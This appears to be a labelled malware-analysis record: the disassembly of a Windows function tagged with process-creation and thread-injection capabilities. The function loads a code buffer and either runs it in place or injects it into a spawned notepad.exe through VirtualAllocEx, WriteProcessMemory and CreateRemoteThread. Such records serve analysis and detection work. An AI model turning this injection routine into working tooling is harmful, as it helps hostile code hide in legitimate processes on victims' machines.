Function at 0x40152c
Capabilities:
Create process on windows
Create thread
Inject thread

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ebx
push ecx
sub esp, 0xac
mov ebx, ecx
call fcn.00401860
cmp dword [ebx], 1
jne 0x4015f3
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x28], 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x3a8bd
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [0x4438e0]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x409020
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [0x4438e0]
lea edx, [ebp - 0x28]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x20
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x24]
call eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
jmp 0x4017ad
lea edx, [ebp - 0x84]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x84], 0x44
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x38]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x84]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.notepad.exe
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
je 0x4017ad
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x3a8bd
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x1c], eax
mov edx, dword [0x4438e0]
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x409020
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov dword [esp], str.pid:__lu_n
call fcn.004014f0
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.Allocated:__p__n
call fcn.004014f0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov edx, dword [0x4438e0]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x40]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x20
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call eax
sub esp, 0x14
call sub.msvcrt.dll_getchar
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x3c]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call eax
sub esp, 0x1c
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov dword [esp], str.tID:__lu_n
call fcn.004014f0
mov eax, 0
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop edi
pop ebp
lea esp, [ecx - 4]
ret